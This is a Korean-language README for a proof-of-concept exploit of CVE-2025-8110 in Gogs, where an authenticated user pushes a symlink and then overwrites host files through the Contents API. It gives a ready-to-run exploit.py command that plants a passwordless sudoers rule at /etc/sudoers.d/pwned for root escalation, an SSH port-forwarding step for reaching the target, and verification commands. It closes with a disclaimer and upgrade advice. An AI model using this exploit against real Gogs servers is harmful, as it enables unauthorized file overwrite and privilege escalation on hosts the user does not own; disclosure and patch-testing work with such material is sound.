
PoC for CVE-2025-8110 - 심볼릭 링크를 통한 Gogs 임의 파일 쓰기
인증된 사용자가 Gogs에서 임의 파일을 쓸 수 있는 개념 증명(PoC)입니다. 저장소 외부를 가리키는 심볼릭 링크가 포함된 저장소를 푸시한 다음 API를 통해 해당 링크의 내용을 업데이트하면, 인증된 사용자가 Gogs를 실행 중인 계정의 권한으로 호스트의 파일을 덮어쓸 수 있습니다.
승인된 테스트 및 교육용으로만 사용하세요. 소유한 시스템이나 명시적인 서면 승인을 받은 시스템에서만 실행하세요. 사용으로 인한 책임은 본인에게 있습니다.
malicious_link -> /path/on/host)를 추가하고 푸시합니다.PUT을 보내 malicious_link를 업데이트합니다. Gogs는 심볼릭 링크를 따라가 제공된 콘텐츠를 자체 권한으로 대상 경로에 씁니다. Gogs가 root로 실행 중이면 이는 직접적인 권한 상승 수단이 됩니다(예: /etc/sudoers.d/에 규칙을 넣는 경우).실제로 쓰기를 트리거하는 것은 API PUT이며, 푸시는 심볼릭 링크를 배치할 뿐입니다.
git이 PATH에 있어야 합니다pip install -r requirements.txt
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
--password를 생략하면 명령줄에 전달하는 대신 안전하게 프롬프트로 입력받습니다.
Gogs는 대상에서 종종 localhost에 바인딩됩니다. SSH 로컬 포트 포워딩을 사용하여 자신의 머신으로 노출하세요(대상에 맞게 포트를 조정).
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000
실행에 성공한 후 호스트에서(해당 사용자로) 확인합니다:
cat /etc/sudoers.d/pwned
sudo -l
sudoers 규칙을 작성한 경우, /etc/sudoers.d/의 파일은 유효하고 sudo가 인식하도록 적절한 권한을 가져야 합니다.
auto_init이 HTTP 500을 반환 — 스크립트는 빈 저장소를 생성하고 로컬 git init + push로 채우는 방식으로 대체합니다.master와 main도 처리합니다.Contents API에서 심볼릭 링크를 검증하는 Gogs 릴리스로 업그레이드하세요. 심층 방어 차원에서 Gogs를 root로 실행하지 말고 저장소 스토리지를 분리하세요.
MIT — LICENSE 참조.